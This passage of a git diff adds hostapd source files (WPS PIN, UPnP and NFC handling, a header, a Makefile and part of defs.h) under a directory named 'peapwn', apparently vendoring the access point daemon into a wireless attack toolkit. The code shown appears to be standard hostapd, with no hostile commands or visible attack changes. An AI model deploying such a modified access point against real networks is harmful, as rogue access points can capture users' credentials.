cfg.skip_cred_build = conf->skip_cred_build; + cfg.extra_cred = conf->extra_cred; + cfg.extra_cred_len = conf->extra_cred_len; + cfg.disable_auto_conf = (hapd->conf->wps_cred_processing == 1) && + conf->skip_cred_build; + if (conf->ssid.security_policy == SECURITY_STATIC_WEP) + cfg.static_wep_only = 1; + cfg.dualband = interface_count(hapd->iface) > 1; + if ((wps->dev.rf_bands & (WPS_RF_50GHZ | WPS_RF_24GHZ)) == + (WPS_RF_50GHZ | WPS_RF_24GHZ)) + cfg.dualband = 1; + if (cfg.dualband) + wpa_printf(MSG_DEBUG, "WPS: Dualband AP"); + cfg.force_per_enrollee_psk = conf->force_per_enrollee_psk; + + wps->registrar = wps_registrar_init(wps, &cfg); + if (wps->registrar == NULL) { + wpa_printf(MSG_ERROR, "Failed to initialize WPS Registrar"); + os_free(wps->network_key); + os_free(wps); + return -1; + } + +#ifdef CONFIG_WPS_UPNP + wps->friendly_name = hapd->conf->friendly_name; + wps->manufacturer_url = hapd->conf->manufacturer_url; + wps->model_description = hapd->conf->model_description; + wps->model_url = hapd->conf->model_url; + wps->upc = hapd->conf->upc; +#endif /* CONFIG_WPS_UPNP */ + + hostapd_register_probereq_cb(hapd, hostapd_wps_probe_req_rx, hapd); + + hapd->wps = wps; + + return 0; +} + + +int hostapd_init_wps_complete(struct hostapd_data *hapd) +{ + struct wps_context *wps = hapd->wps; + + if (wps == NULL) + return 0; + +#ifdef CONFIG_WPS_UPNP + if (hostapd_wps_upnp_init(hapd, wps) < 0) { + wpa_printf(MSG_ERROR, "Failed to initialize WPS UPnP"); + wps_registrar_deinit(wps->registrar); + os_free(wps->network_key); + os_free(wps); + hapd->wps = NULL; + return -1; + } +#endif /* CONFIG_WPS_UPNP */ + + return 0; +} + + +static void hostapd_wps_nfc_clear(struct wps_context *wps) +{ +#ifdef CONFIG_WPS_NFC + wpa_printf(MSG_DEBUG, "WPS: Clear NFC Tag context %p", wps); + wps->ap_nfc_dev_pw_id = 0; + wpabuf_free(wps->ap_nfc_dh_pubkey); + wps->ap_nfc_dh_pubkey = NULL; + wpabuf_free(wps->ap_nfc_dh_privkey); + wps->ap_nfc_dh_privkey = NULL; + wpabuf_free(wps->ap_nfc_dev_pw); + wps->ap_nfc_dev_pw = NULL; +#endif /* CONFIG_WPS_NFC */ +} + + +void hostapd_deinit_wps(struct hostapd_data *hapd) +{ + eloop_cancel_timeout(hostapd_wps_reenable_ap_pin, hapd, NULL); + eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); + if (hapd->wps == NULL) + return; +#ifdef CONFIG_WPS_UPNP + hostapd_wps_upnp_deinit(hapd); +#endif /* CONFIG_WPS_UPNP */ + wps_registrar_deinit(hapd->wps->registrar); + os_free(hapd->wps->network_key); + wps_device_data_free(&hapd->wps->dev); + wpabuf_free(hapd->wps->dh_pubkey); + wpabuf_free(hapd->wps->dh_privkey); + wps_free_pending_msgs(hapd->wps->upnp_msgs); + hostapd_wps_nfc_clear(hapd->wps); + os_free(hapd->wps); + hapd->wps = NULL; + hostapd_wps_clear_ies(hapd); +} + + +void hostapd_update_wps(struct hostapd_data *hapd) +{ + if (hapd->wps == NULL) + return; + +#ifdef CONFIG_WPS_UPNP + hapd->wps->friendly_name = hapd->conf->friendly_name; + hapd->wps->manufacturer_url = hapd->conf->manufacturer_url; + hapd->wps->model_description = hapd->conf->model_description; + hapd->wps->model_url = hapd->conf->model_url; + hapd->wps->upc = hapd->conf->upc; +#endif /* CONFIG_WPS_UPNP */ + + hostapd_wps_set_vendor_ext(hapd, hapd->wps); + + if (hapd->conf->wps_state) + wps_registrar_update_ie(hapd->wps->registrar); + else + hostapd_deinit_wps(hapd); +} + + +struct wps_add_pin_data { + const u8 *addr; + const u8 *uuid; + const u8 *pin; + size_t pin_len; + int timeout; + int added; +}; + + +static int wps_add_pin(struct hostapd_data *hapd, void *ctx) +{ + struct wps_add_pin_data *data = ctx; + int ret; + + if (hapd->wps == NULL) + return 0; + ret = wps_registrar_add_pin(hapd->wps->registrar, data->addr, + data->uuid, data->pin, data->pin_len, + data->timeout); + if (ret == 0) + data->added++; + return ret; +} + + +int hostapd_wps_add_pin(struct hostapd_data *hapd, const u8 *addr, + const char *uuid, const char *pin, int timeout) +{ + u8 u[UUID_LEN]; + struct wps_add_pin_data data; + + data.addr = addr; + data.uuid = u; + data.pin = (const u8 *) pin; + data.pin_len = os_strlen(pin); + data.timeout = timeout; + data.added = 0; + + if (os_strcmp(uuid, "any") == 0) + data.uuid = NULL; + else { + if (uuid_str2bin(uuid, u)) + return -1; + data.uuid = u; + } + if (hostapd_wps_for_each(hapd, wps_add_pin, &data) < 0) + return -1; + return data.added ? 0 : -1; +} + + +static int wps_button_pushed(struct hostapd_data *hapd, void *ctx) +{ + const u8 *p2p_dev_addr = ctx; + if (hapd->wps == NULL) + return 0; + return wps_registrar_button_pushed(hapd->wps->registrar, p2p_dev_addr); +} + + +int hostapd_wps_button_pushed(struct hostapd_data *hapd, + const u8 *p2p_dev_addr) +{ + return hostapd_wps_for_each(hapd, wps_button_pushed, + (void *) p2p_dev_addr); +} + + +static int wps_cancel(struct hostapd_data *hapd, void *ctx) +{ + if (hapd->wps == NULL) + return 0; + + wps_registrar_wps_cancel(hapd->wps->registrar); + ap_for_each_sta(hapd, ap_sta_wps_cancel, NULL); + + return 0; +} + + +int hostapd_wps_cancel(struct hostapd_data *hapd) +{ + return hostapd_wps_for_each(hapd, wps_cancel, NULL); +} + + +static int hostapd_wps_probe_req_rx(void *ctx, const u8 *addr, const u8 *da, + const u8 *bssid, + const u8 *ie, size_t ie_len, + int ssi_signal) +{ + struct hostapd_data *hapd = ctx; + struct wpabuf *wps_ie; + struct ieee802_11_elems elems; + + if (hapd->wps == NULL) + return 0; + + if (ieee802_11_parse_elems(ie, ie_len, &elems, 0) == ParseFailed) { + wpa_printf(MSG_DEBUG, "WPS: Could not parse ProbeReq from " + MACSTR, MAC2STR(addr)); + return 0; + } + + if (elems.ssid && elems.ssid_len > 0 && + (elems.ssid_len != hapd->conf->ssid.ssid_len || + os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) != + 0)) + return 0; /* Not for us */ + + wps_ie = ieee802_11_vendor_ie_concat(ie, ie_len, WPS_DEV_OUI_WFA); + if (wps_ie == NULL) + return 0; + if (wps_validate_probe_req(wps_ie, addr) < 0) { + wpabuf_free(wps_ie); + return 0; + } + + if (wpabuf_len(wps_ie) > 0) { + int p2p_wildcard = 0; +#ifdef CONFIG_P2P + if (elems.ssid && elems.ssid_len == P2P_WILDCARD_SSID_LEN && + os_memcmp(elems.ssid, P2P_WILDCARD_SSID, + P2P_WILDCARD_SSID_LEN) == 0) + p2p_wildcard = 1; +#endif /* CONFIG_P2P */ + wps_registrar_probe_req_rx(hapd->wps->registrar, addr, wps_ie, + p2p_wildcard); +#ifdef CONFIG_WPS_UPNP + /* FIX: what exactly should be included in the WLANEvent? + * WPS attributes? Full ProbeReq frame? */ + if (!p2p_wildcard) + upnp_wps_device_send_wlan_event( + hapd->wps_upnp, addr, + UPNP_WPS_WLANEVENT_TYPE_PROBE, wps_ie); +#endif /* CONFIG_WPS_UPNP */ + } + + wpabuf_free(wps_ie); + + return 0; +} + + +#ifdef CONFIG_WPS_UPNP + +static int hostapd_rx_req_put_wlan_response( + void *priv, enum upnp_wps_wlanevent_type ev_type, + const u8 *mac_addr, const struct wpabuf *msg, + enum wps_msg_type msg_type) +{ + struct hostapd_data *hapd = priv; + struct sta_info *sta; + struct upnp_pending_message *p; + + wpa_printf(MSG_DEBUG, "WPS UPnP: PutWLANResponse ev_type=%d mac_addr=" + MACSTR, ev_type, MAC2STR(mac_addr)); + wpa_hexdump(MSG_MSGDUMP, "WPS UPnP: PutWLANResponse NewMessage", + wpabuf_head(msg), wpabuf_len(msg)); + if (ev_type != UPNP_WPS_WLANEVENT_TYPE_EAP) { + wpa_printf(MSG_DEBUG, "WPS UPnP: Ignored unexpected " + "PutWLANResponse WLANEventType %d", ev_type); + return -1; + } + + /* + * EAP response to ongoing to WPS Registration. Send it to EAP-WSC + * server implementation for delivery to the peer. + */ + + sta = ap_get_sta(hapd, mac_addr); +#ifndef CONFIG_WPS_STRICT + if (!sta) { + /* + * Workaround - Intel wsccmd uses bogus NewWLANEventMAC: + * Pick STA that is in an ongoing WPS registration without + * checking the MAC address. + */ + wpa_printf(MSG_DEBUG, "WPS UPnP: No matching STA found based " + "on NewWLANEventMAC; try wildcard match"); + for (sta = hapd->sta_list; sta; sta = sta->next) { + if (sta->eapol_sm && (sta->flags & WLAN_STA_WPS)) + break; + } + } +#endif /* CONFIG_WPS_STRICT */ + + if (!sta || !(sta->flags & WLAN_STA_WPS)) { + wpa_printf(MSG_DEBUG, "WPS UPnP: No matching STA found"); + return 0; + } + + p = os_zalloc(sizeof(*p)); + if (p == NULL) + return -1; + os_memcpy(p->addr, sta->addr, ETH_ALEN); + p->msg = wpabuf_dup(msg); + p->type = msg_type; + p->next = hapd->wps->upnp_msgs; + hapd->wps->upnp_msgs = p; + + return eapol_auth_eap_pending_cb(sta->eapol_sm, sta->eapol_sm->eap); +} + + +static int hostapd_wps_upnp_init(struct hostapd_data *hapd, + struct wps_context *wps) +{ + struct upnp_wps_device_ctx *ctx; + + if (!hapd->conf->upnp_iface) + return 0; + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return -1; + + ctx->rx_req_put_wlan_response = hostapd_rx_req_put_wlan_response; + if (hapd->conf->ap_pin) + ctx->ap_pin = os_strdup(hapd->conf->ap_pin); + + hapd->wps_upnp = upnp_wps_device_init(ctx, wps, hapd, + hapd->conf->upnp_iface); + if (hapd->wps_upnp == NULL) + return -1; + wps->wps_upnp = hapd->wps_upnp; + + return 0; +} + + +static void hostapd_wps_upnp_deinit(struct hostapd_data *hapd) +{ + upnp_wps_device_deinit(hapd->wps_upnp, hapd); +} + +#endif /* CONFIG_WPS_UPNP */ + + +int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, const u8 *addr, + char *buf, size_t buflen) +{ + if (hapd->wps == NULL) + return 0; + return wps_registrar_get_info(hapd->wps->registrar, addr, buf, buflen); +} + + +static void hostapd_wps_ap_pin_timeout(void *eloop_data, void *user_ctx) +{ + struct hostapd_data *hapd = eloop_data; + wpa_printf(MSG_DEBUG, "WPS: AP PIN timed out"); + hostapd_wps_ap_pin_disable(hapd); + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_PIN_DISABLED); +} + + +static void hostapd_wps_ap_pin_enable(struct hostapd_data *hapd, int timeout) +{ + wpa_printf(MSG_DEBUG, "WPS: Enabling AP PIN (timeout=%d)", timeout); + hapd->ap_pin_failures = 0; + hapd->ap_pin_failures_consecutive = 0; + hapd->conf->ap_setup_locked = 0; + if (hapd->wps->ap_setup_locked) { + wpa_msg(hapd->msg_ctx, MSG_INFO, WPS_EVENT_AP_SETUP_UNLOCKED); + hapd->wps->ap_setup_locked = 0; + wps_registrar_update_ie(hapd->wps->registrar); + } + eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); + if (timeout > 0) + eloop_register_timeout(timeout, 0, + hostapd_wps_ap_pin_timeout, hapd, NULL); +} + + +static int wps_ap_pin_disable(struct hostapd_data *hapd, void *ctx) +{ + os_free(hapd->conf->ap_pin); + hapd->conf->ap_pin = NULL; +#ifdef CONFIG_WPS_UPNP + upnp_wps_set_ap_pin(hapd->wps_upnp, NULL); +#endif /* CONFIG_WPS_UPNP */ + eloop_cancel_timeout(hostapd_wps_ap_pin_timeout, hapd, NULL); + return 0; +} + + +void hostapd_wps_ap_pin_disable(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "WPS: Disabling AP PIN"); + hostapd_wps_for_each(hapd, wps_ap_pin_disable, NULL); +} + + +struct wps_ap_pin_data { + char pin_txt[9]; + int timeout; +}; + + +static int wps_ap_pin_set(struct hostapd_data *hapd, void *ctx) +{ + struct wps_ap_pin_data *data = ctx; + os_free(hapd->conf->ap_pin); + hapd->conf->ap_pin = os_strdup(data->pin_txt); +#ifdef CONFIG_WPS_UPNP + upnp_wps_set_ap_pin(hapd->wps_upnp, data->pin_txt); +#endif /* CONFIG_WPS_UPNP */ + hostapd_wps_ap_pin_enable(hapd, data->timeout); + return 0; +} + + +const char * hostapd_wps_ap_pin_random(struct hostapd_data *hapd, int timeout) +{ + unsigned int pin; + struct wps_ap_pin_data data; + + pin = wps_generate_pin(); + os_snprintf(data.pin_txt, sizeof(data.pin_txt), "%08u", pin); + data.timeout = timeout; + hostapd_wps_for_each(hapd, wps_ap_pin_set, &data); + return hapd->conf->ap_pin; +} + + +const char * hostapd_wps_ap_pin_get(struct hostapd_data *hapd) +{ + return hapd->conf->ap_pin; +} + + +int hostapd_wps_ap_pin_set(struct hostapd_data *hapd, const char *pin, + int timeout) +{ + struct wps_ap_pin_data data; + int ret; + + ret = os_snprintf(data.pin_txt, sizeof(data.pin_txt), "%s", pin); + if (ret < 0 || ret >= (int) sizeof(data.pin_txt)) + return -1; + data.timeout = timeout; + return hostapd_wps_for_each(hapd, wps_ap_pin_set, &data); +} + + +static int wps_update_ie(struct hostapd_data *hapd, void *ctx) +{ + if (hapd->wps) + wps_registrar_update_ie(hapd->wps->registrar); + return 0; +} + + +void hostapd_wps_update_ie(struct hostapd_data *hapd) +{ + hostapd_wps_for_each(hapd, wps_update_ie, NULL); +} + + +int hostapd_wps_config_ap(struct hostapd_data *hapd, const char *ssid, + const char *auth, const char *encr, const char *key) +{ + struct wps_credential cred; + size_t len; + + os_memset(&cred, 0, sizeof(cred)); + + len = os_strlen(ssid); + if ((len & 1) || len > 2 * sizeof(cred.ssid) || + hexstr2bin(ssid, cred.ssid, len / 2)) + return -1; + cred.ssid_len = len / 2; + + if (os_strncmp(auth, "OPEN", 4) == 0) + cred.auth_type = WPS_AUTH_OPEN; + else if (os_strncmp(auth, "WPAPSK", 6) == 0) + cred.auth_type = WPS_AUTH_WPAPSK; + else if (os_strncmp(auth, "WPA2PSK", 7) == 0) + cred.auth_type = WPS_AUTH_WPA2PSK; + else + return -1; + + if (encr) { + if (os_strncmp(encr, "NONE", 4) == 0) + cred.encr_type = WPS_ENCR_NONE; + else if (os_strncmp(encr, "WEP", 3) == 0) + cred.encr_type = WPS_ENCR_WEP; + else if (os_strncmp(encr, "TKIP", 4) == 0) + cred.encr_type = WPS_ENCR_TKIP; + else if (os_strncmp(encr, "CCMP", 4) == 0) + cred.encr_type = WPS_ENCR_AES; + else + return -1; + } else + cred.encr_type = WPS_ENCR_NONE; + + if (key) { + len = os_strlen(key); + if ((len & 1) || len > 2 * sizeof(cred.key) || + hexstr2bin(key, cred.key, len / 2)) + return -1; + cred.key_len = len / 2; + } + + return wps_registrar_config_ap(hapd->wps->registrar, &cred); +} + + +#ifdef CONFIG_WPS_NFC + +struct wps_nfc_password_token_data { + const u8 *oob_dev_pw; + size_t oob_dev_pw_len; + int added; +}; + + +static int wps_add_nfc_password_token(struct hostapd_data *hapd, void *ctx) +{ + struct wps_nfc_password_token_data *data = ctx; + int ret; + + if (hapd->wps == NULL) + return 0; + ret = wps_registrar_add_nfc_password_token(hapd->wps->registrar, + data->oob_dev_pw, + data->oob_dev_pw_len); + if (ret == 0) + data->added++; + return ret; +} + + +static int hostapd_wps_add_nfc_password_token(struct hostapd_data *hapd, + struct wps_parse_attr *attr) +{ + struct wps_nfc_password_token_data data; + + data.oob_dev_pw = attr->oob_dev_password; + data.oob_dev_pw_len = attr->oob_dev_password_len; + data.added = 0; + if (hostapd_wps_for_each(hapd, wps_add_nfc_password_token, &data) < 0) + return -1; + return data.added ? 0 : -1; +} + + +static int hostapd_wps_nfc_tag_process(struct hostapd_data *hapd, + const struct wpabuf *wps) +{ + struct wps_parse_attr attr; + + wpa_hexdump_buf(MSG_DEBUG, "WPS: Received NFC tag payload", wps); + + if (wps_parse_msg(wps, &attr)) { + wpa_printf(MSG_DEBUG, "WPS: Ignore invalid data from NFC tag"); + return -1; + } + + if (attr.oob_dev_password) + return hostapd_wps_add_nfc_password_token(hapd, &attr); + + wpa_printf(MSG_DEBUG, "WPS: Ignore unrecognized NFC tag"); + return -1; +} + + +int hostapd_wps_nfc_tag_read(struct hostapd_data *hapd, + const struct wpabuf *data) +{ + const struct wpabuf *wps = data; + struct wpabuf *tmp = NULL; + int ret; + + if (wpabuf_len(data) < 4) + return -1; + + if (*wpabuf_head_u8(data) != 0x10) { + /* Assume this contains full NDEF record */ + tmp = ndef_parse_wifi(data); + if (tmp == NULL) { + wpa_printf(MSG_DEBUG, "WPS: Could not parse NDEF"); + return -1; + } + wps = tmp; + } + + ret = hostapd_wps_nfc_tag_process(hapd, wps); + wpabuf_free(tmp); + return ret; +} + + +struct wpabuf * hostapd_wps_nfc_config_token(struct hostapd_data *hapd, + int ndef) +{ + struct wpabuf *ret; + + if (hapd->wps == NULL) + return NULL; + + ret = wps_get_oob_cred(hapd->wps); + if (ndef && ret) { + struct wpabuf *tmp; + tmp = ndef_build_wifi(ret); + wpabuf_free(ret); + if (tmp == NULL) + return NULL; + ret = tmp; + } + + return ret; +} + + +struct wpabuf * hostapd_wps_nfc_hs_cr(struct hostapd_data *hapd, int ndef) +{ + /* + * Handover Select carrier record for WPS uses the same format as + * configuration token. + */ + return hostapd_wps_nfc_config_token(hapd, ndef); +} + + +struct wpabuf * hostapd_wps_nfc_token_gen(struct hostapd_data *hapd, int ndef) +{ + if (hapd->conf->wps_nfc_pw_from_config) { + return wps_nfc_token_build(ndef, + hapd->conf->wps_nfc_dev_pw_id, + hapd->conf->wps_nfc_dh_pubkey, + hapd->conf->wps_nfc_dev_pw); + } + + return wps_nfc_token_gen(ndef, &hapd->conf->wps_nfc_dev_pw_id, + &hapd->conf->wps_nfc_dh_pubkey, + &hapd->conf->wps_nfc_dh_privkey, + &hapd->conf->wps_nfc_dev_pw); +} + + +int hostapd_wps_nfc_token_enable(struct hostapd_data *hapd) +{ + struct wps_context *wps = hapd->wps; + struct wpabuf *pw; + + if (wps == NULL) + return -1; + + if (!hapd->conf->wps_nfc_dh_pubkey || + !hapd->conf->wps_nfc_dh_privkey || + !hapd->conf->wps_nfc_dev_pw || + !hapd->conf->wps_nfc_dev_pw_id) + return -1; + + hostapd_wps_nfc_clear(wps); + wpa_printf(MSG_DEBUG, + "WPS: Enable NFC Tag (Dev Pw Id %u) for AP interface %s (context %p)", + hapd->conf->wps_nfc_dev_pw_id, hapd->conf->iface, wps); + wps->ap_nfc_dev_pw_id = hapd->conf->wps_nfc_dev_pw_id; + wps->ap_nfc_dh_pubkey = wpabuf_dup(hapd->conf->wps_nfc_dh_pubkey); + wps->ap_nfc_dh_privkey = wpabuf_dup(hapd->conf->wps_nfc_dh_privkey); + pw = hapd->conf->wps_nfc_dev_pw; + wps->ap_nfc_dev_pw = wpabuf_alloc( + wpabuf_len(pw) * 2 + 1); + if (wps->ap_nfc_dev_pw) { + wpa_snprintf_hex_uppercase( + (char *) wpabuf_put(wps->ap_nfc_dev_pw, + wpabuf_len(pw) * 2), + wpabuf_len(pw) * 2 + 1, + wpabuf_head(pw), wpabuf_len(pw)); + } + + if (!wps->ap_nfc_dh_pubkey || !wps->ap_nfc_dh_privkey || + !wps->ap_nfc_dev_pw) { + hostapd_wps_nfc_clear(wps); + return -1; + } + + return 0; +} + + +void hostapd_wps_nfc_token_disable(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "WPS: Disable NFC token for AP interface %s", + hapd->conf->iface); + hostapd_wps_nfc_clear(hapd->wps); +} + +#endif /* CONFIG_WPS_NFC */ diff --git a/peapwn/mods/hostap/src/ap/wps_hostapd.h b/peapwn/mods/hostap/src/ap/wps_hostapd.h new file mode 100644 index 000000000..a2c2cf021 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wps_hostapd.h @@ -0,0 +1,84 @@ +/* + * hostapd / WPS integration + * Copyright (c) 2008-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPS_HOSTAPD_H +#define WPS_HOSTAPD_H + +#ifdef CONFIG_WPS + +int hostapd_init_wps(struct hostapd_data *hapd, + struct hostapd_bss_config *conf); +int hostapd_init_wps_complete(struct hostapd_data *hapd); +void hostapd_deinit_wps(struct hostapd_data *hapd); +void hostapd_update_wps(struct hostapd_data *hapd); +int hostapd_wps_add_pin(struct hostapd_data *hapd, const u8 *addr, + const char *uuid, const char *pin, int timeout); +int hostapd_wps_button_pushed(struct hostapd_data *hapd, + const u8 *p2p_dev_addr); +int hostapd_wps_cancel(struct hostapd_data *hapd); +int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, const u8 *addr, + char *buf, size_t buflen); +void hostapd_wps_ap_pin_disable(struct hostapd_data *hapd); +const char * hostapd_wps_ap_pin_random(struct hostapd_data *hapd, int timeout); +const char * hostapd_wps_ap_pin_get(struct hostapd_data *hapd); +int hostapd_wps_ap_pin_set(struct hostapd_data *hapd, const char *pin, + int timeout); +void hostapd_wps_update_ie(struct hostapd_data *hapd); +int hostapd_wps_config_ap(struct hostapd_data *hapd, const char *ssid, + const char *auth, const char *encr, const char *key); +int hostapd_wps_nfc_tag_read(struct hostapd_data *hapd, + const struct wpabuf *data); +struct wpabuf * hostapd_wps_nfc_config_token(struct hostapd_data *hapd, + int ndef); +struct wpabuf * hostapd_wps_nfc_hs_cr(struct hostapd_data *hapd, int ndef); +struct wpabuf * hostapd_wps_nfc_token_gen(struct hostapd_data *hapd, int ndef); +int hostapd_wps_nfc_token_enable(struct hostapd_data *hapd); +void hostapd_wps_nfc_token_disable(struct hostapd_data *hapd); + +#else /* CONFIG_WPS */ + +static inline int hostapd_init_wps(struct hostapd_data *hapd, + struct hostapd_bss_config *conf) +{ + return 0; +} + +static inline void hostapd_deinit_wps(struct hostapd_data *hapd) +{ +} + +static inline int hostapd_init_wps_complete(struct hostapd_data *hapd) +{ + return 0; +} + +static inline void hostapd_update_wps(struct hostapd_data *hapd) +{ +} + +static inline int hostapd_wps_get_mib_sta(struct hostapd_data *hapd, + const u8 *addr, + char *buf, size_t buflen) +{ + return 0; +} + +static inline int hostapd_wps_button_pushed(struct hostapd_data *hapd, + const u8 *p2p_dev_addr) +{ + return 0; +} + +static inline int hostapd_wps_cancel(struct hostapd_data *hapd) +{ + return 0; +} + +#endif /* CONFIG_WPS */ + +#endif /* WPS_HOSTAPD_H */ diff --git a/peapwn/mods/hostap/src/common/Makefile b/peapwn/mods/hostap/src/common/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/common/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/common/defs.h b/peapwn/mods/hostap/src/common/defs.h new file mode 100644 index 000000000..0c90c2498 --- /dev/null +++ b/peapwn/mods/hostap/src/common/defs.h @@ -0,0 +1,322 @@ +/* + * WPA Supplicant - Common definitions + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DEFS_H +#define DEFS_H + +#ifdef FALSE +#undef FALSE +#endif +#ifdef TRUE +#undef TRUE +#endif +typedef enum { FALSE = 0, TRUE = 1 } Boolean; + + +#define WPA_CIPHER_NONE BIT(0) +#define WPA_CIPHER_WEP40 BIT(1) +#define WPA_CIPHER_WEP104 BIT(2) +#define WPA_CIPHER_TKIP BIT(3) +#define WPA_CIPHER_CCMP BIT(4) +#ifdef CONFIG_IEEE80211W +#define WPA_CIPHER_AES_128_CMAC BIT(5) +#endif /* CONFIG_IEEE80211W */ +#define WPA_CIPHER_GCMP BIT(6) +#define WPA_CIPHER_SMS4 BIT(7) + +#define WPA_KEY_MGMT_IEEE8021X BIT(0) +#define WPA_KEY_MGMT_PSK BIT(1) +#define WPA_KEY_MGMT_NONE BIT(2) +#define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3) +#define WPA_KEY_MGMT_WPA_NONE BIT(4) +#define WPA_KEY_MGMT_FT_IEEE8021X BIT(5) +#define WPA_KEY_MGMT_FT_PSK BIT(6) +#define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7) +#define WPA_KEY_MGMT_PSK_SHA256 BIT(8) +#define WPA_KEY_MGMT_WPS BIT(9) +#define WPA_KEY_MGMT_SAE BIT(10) +#define WPA_KEY_MGMT_FT_SAE BIT(11) +#define WPA_KEY_MGMT_WAPI_PSK BIT(12) +#define WPA_KEY_MGMT_WAPI_CERT BIT(13) +#define WPA_KEY_MGMT_CCKM BIT(14) + +static inline int wpa_key_mgmt_wpa_ieee8021x(int akm) +{ + return !!(akm & (WPA_KEY_MGMT_IEEE8021X | + WPA_KEY_MGMT_FT_IEEE8021X | + WPA_KEY_MGMT_CCKM | + WPA_KEY_MGMT_IEEE8021X_SHA256)); +} + +static inline int wpa_key_mgmt_wpa_psk(int akm) +{ + return !!(akm & (WPA_KEY_MGMT_PSK | + WPA_KEY_MGMT_FT_PSK | + WPA_KEY_MGMT_PSK_SHA256 | + WPA_KEY_MGMT_SAE)); +} + +static inline int wpa_key_mgmt_ft(int akm) +{ + return !!(akm & (WPA_KEY_MGMT_FT_PSK | + WPA_KEY_MGMT_FT_IEEE8021X | + WPA_KEY_MGMT_FT_SAE)); +} + +static inline int wpa_key_mgmt_sae(int akm) +{ + return !!(akm & (WPA_KEY_MGMT_SAE | + WPA_KEY_MGMT_FT_SAE)); +} + +static inline int wpa_key_mgmt_sha256(int akm) +{ + return !!(akm & (WPA_KEY_MGMT_PSK_SHA256 | + WPA_KEY_MGMT_IEEE8021X_SHA256)); +} + +static inline int wpa_key_mgmt_wpa(int akm) +{ + return wpa_key_mgmt_wpa_ieee8021x(akm) || + wpa_key_mgmt_wpa_psk(akm); +} + +static inline int wpa_key_mgmt_wpa_any(int akm) +{ + return wpa_key_mgmt_wpa(akm) || (akm & WPA_KEY_MGMT_WPA_NONE); +} + +static inline int wpa_key_mgmt_cckm(int akm) +{ + return akm == WPA_KEY_MGMT_CCKM; +} + + +#define WPA_PROTO_WPA BIT(0) +#define WPA_PROTO_RSN BIT(1) +#define WPA_PROTO_WAPI BIT(2) + +#define WPA_AUTH_ALG_OPEN BIT(0) +#define WPA_AUTH_ALG_SHARED BIT(1) +#define WPA_AUTH_ALG_LEAP BIT(2) +#define WPA_AUTH_ALG_FT BIT(3) +#define WPA_AUTH_ALG_SAE BIT(4) + + +enum wpa_alg { + WPA_ALG_NONE, + WPA_ALG_WEP, + WPA_ALG_TKIP, + WPA_ALG_CCMP, + WPA_ALG_IGTK, + WPA_ALG_PMK, + WPA_ALG_GCMP, + WPA_ALG_SMS4, + WPA_ALG_KRK +}; + +/** + * enum wpa_cipher - Cipher suites + */ +enum wpa_cipher { + CIPHER_NONE, + CIPHER_WEP40, + CIPHER_TKIP, + CIPHER_CCMP, + CIPHER_WEP104, + CIPHER_GCMP, + CIPHER_SMS4 +}; + +/** + * enum wpa_key_mgmt - Key management suites + */ +enum wpa_key_mgmt { + KEY_MGMT_802_1X, + KEY_MGMT_PSK, + KEY_MGMT_NONE, + KEY_MGMT_802_1X_NO_WPA, + KEY_MGMT_WPA_NONE, + KEY_MGMT_FT_802_1X, + KEY_MGMT_FT_PSK, + KEY_MGMT_802_1X_SHA256, + KEY_MGMT_PSK_SHA256, + KEY_MGMT_WPS, + KEY_MGMT_SAE, + KEY_MGMT_FT_SAE, + KEY_MGMT_WAPI_PSK, + KEY_MGMT_WAPI_CERT, + KEY_MGMT_CCKM +}; + +/** + * enum wpa_states - wpa_supplicant state + * + * These enumeration values are used to indicate the current wpa_supplicant + * state (wpa_s->wpa_state). The current state can be retrieved with + * wpa_supplicant_get_state() function and the state can be changed by calling + * wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the + * wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used + * to access the state variable. + */ +enum wpa_states { + /** + * WPA_DISCONNECTED - Disconnected state + * + * This state indicates that client is not associated, but is likely to + * start looking for an access point. This state is entered when a + * connection is lost. + */ + WPA_DISCONNECTED, + + /** + * WPA_INTERFACE_DISABLED - Interface disabled + * + * This stat eis entered if the network interface is disabled, e.g., + * due to rfkill. wpa_supplicant refuses any new operations that would + * use the radio until the interface has been enabled. + */ + WPA_INTERFACE_DISABLED, + + /** + * WPA_INACTIVE - Inactive state (wpa_supplicant disabled) + * + * This state is entered if there are no enabled networks in the + * configuration. wpa_supplicant is not trying to associate with a new + * network and external interaction (e.g., ctrl_iface call to add or + * enable a network) is needed to start association. + */ + WPA_INACTIVE, + + /** + * WPA_SCANNING - Scanning for a network + * + * This state is entered when wpa_supplicant starts scanning for a + * network. + */ + WPA_SCANNING, + + /** + * WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID + * + * This state is entered when wpa_supplicant has found a suitable BSS + * to authenticate with and the driver is configured to try to + * authenticate with this BSS. This state is used only with drivers + * that use wpa_supplicant as the SME. + */ + WPA_AUTHENTICATING, + + /** + * WPA_ASSOCIATING - Trying to associate with a BSS/SSID + * + * This state is entered when wpa_supplicant has found a suitable BSS + * to associate with and the driver is configured to try to associate + * with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this + * state is entered when the driver is configured to try to associate + * with a network using the configured SSID and security policy. + */ + WPA_ASSOCIATING, + + /** + * WPA_ASSOCIATED - Association completed + * + * This state is entered when the driver reports that association has + * been successfully completed with an AP. If IEEE 802.1X is used + * (with or without WPA/WPA2), wpa_supplicant remains in this state + * until the IEEE 802.1X/EAPOL authentication has been completed. + */ + 